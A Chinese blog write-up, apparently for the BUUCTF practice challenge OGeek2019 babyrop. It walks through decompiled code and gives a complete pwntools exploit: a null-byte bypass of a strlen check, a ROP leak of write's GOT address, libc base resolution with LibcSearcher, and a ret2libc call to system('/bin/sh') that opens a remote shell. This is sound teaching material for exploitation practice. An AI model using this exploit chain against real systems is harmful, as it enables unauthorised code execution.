BUU刷题-Pwn-_OGeek2019_babyrop(难)

该文章介绍了如何在具有安全保护措施(如NX、PIE等)的32位Linux程序中,通过栈溢出改变变量值,利用strlen函数读取输入并绕过检查,接着泄露GOT表中的write函数地址,进一步找到libc基址,最终利用ret2libc技术调用system函数获取shell。过程中涉及LibcSearcher工具的使用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

解题思路:

泄露或修改内存数据:

  1. 堆地址:无需
  2. 栈地址:无需
  3. libc地址:[[利用got表和plt表泄露数据]] write
  4. BSS段地址:无需
    劫持程序执行流程:[[ret2libc(栈溢出调用任意函数)]]
    获得shell或flag:[[调用libc中的system]]
学到的知识:

[[strlen]]
[[LibcSearcher的使用]]

题目信息:
┌──(kali㉿kali)-[~/Desktop]
└─$ file _OGeek2019_babyrop   
_OGeek2019_babyrop: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6503b3ef34c8d55c8d3e861fb4de2110d0f9f8e2, stripped
                                                                                                                     
┌──(kali㉿kali)-[~/Desktop]
└─$ checksec --file=_OGeek2019_babyrop   
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified    Fortifiable     FILE
Full RELRO      No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No Symbols        No    0   3_OGeek2019_babyrop

libc版本:
wp借鉴:(24条消息) buuctf刷题——[OGeek2019]babyrop 1_云啾啾啾的博客-CSDN博客

核心伪代码分析:

存在利用的的代码:

ssize_t __cdecl sub_80487D0(char a1)
{
  char buf[231]; // [esp+11h] [ebp-E7h] BYREF

  if ( a1 == 127 )                 //利用前面的栈溢出改变a1的值
    return read(0, buf, 0xC8u);       
  else
    return read(0, buf, a1);       //从而获得足够的溢出值
}

int __cdecl sub_804871F(int a1)
{
  size_t v1; // eax
  char s[32]; // [esp+Ch] [ebp-4Ch] BYREF
  char buf[32]; // [esp+2Ch] [ebp-2Ch] BYREF
  ssize_t v5; // [esp+4Ch] [ebp-Ch]

  memset(s, 0, sizeof(s));
  memset(buf, 0, sizeof(buf));
  sprintf(s, "%ld", a1);                //将a1赋值给s
  v5 = read(0, buf, 0x20u);             //read返回输入的字符长度
  buf[v5 - 1] = 0;                      //进行加密
  v1 = strlen(buf);                     // buf的长度(可以通过添加‘\0’绕过检测)
  if ( strncmp(buf, s, v1) )            //当v1等于0时strncmp(buf, s, v1)返回0
    exit(0);
  write(1, "Correct\n", 8u);            //从而进入这里
  return (unsigned __int8)buf[7];
}

int __cdecl main()
{
  int buf; // [esp+4h] [ebp-14h] BYREF
  char v2; // [esp+Bh] [ebp-Dh]
  int fd; // [esp+Ch] [ebp-Ch]

  sub_80486BB();                                // 初始化缓冲区
  fd = open("/dev/urandom", 0);             //从文件中打开,成功就会返回文件操作符
  if ( fd > 0 )
    read(fd, &buf, 4u);                 //read函数第一个参数是地址则将fd写入buf
  v2 = sub_804871F(buf);                //将返回值作为v2的值
  sub_80487D0(v2);
  return 0;
}
分析:

首先理解每一个函数的意思发现只有v1 = strlen(buf);是有用的,所以只要绕过它再执行漏洞即可,先泄露函数地址,再执行危险函数。

脚本:
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='i386',os='linux')

pwnfile='./_OGeek2019_babyrop'
sh=remote('node4.buuoj.cn',29176)
elf = ELF(pwnfile)
#sh=process(pwnfile)

payload1=b'\0'+b'a'*6+b'\xff'

sh.sendline(payload1)
#gdb.attach(sh)
#pause()

main_addr=0x8048825

#利用栈溢出泄漏地址
payload2=b'a'*(0xe7+4)+p32(elf.plt['write'])+p32(main_addr)+p32(1)+p32(elf.got['write'])+p32(6)
sh.recvuntil("Correct\n")
sh.sendline(payload2)
write_addr=u32(sh.recv(4))
print("write:",hex(write_addr))

#本地
#write_offest=0xd4d50
#bin_sh_offest=0x172b62
#system_offest=0x27d00

#远程
#第二个参数,为已泄露的实际地址,或最后12位(比如:d90),int类型
obj = LibcSearcher("write", write_addr)

write_offest=obj.dump("write")          #write 偏移
system_offest=obj.dump("system")        #system 偏移
bin_sh_offest=obj.dump("str_bin_sh")    #/bin/sh 偏移

base_addr=write_addr-write_offest
print("base_addr:",hex(base_addr))

bin_sh_addr=base_addr+bin_sh_offest
print("bin_sh_addr:",hex(bin_sh_addr))

system_addr=base_addr+system_offest
print("system_addr:",hex(system_addr))

sh.sendline(payload1)


payload3=b'a'*(0xe7+4)+p32(system_addr)+p32(1)+p32(bin_sh_addr)
sh.recvuntil("Correct\n")
sh.send(payload3)

sh.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值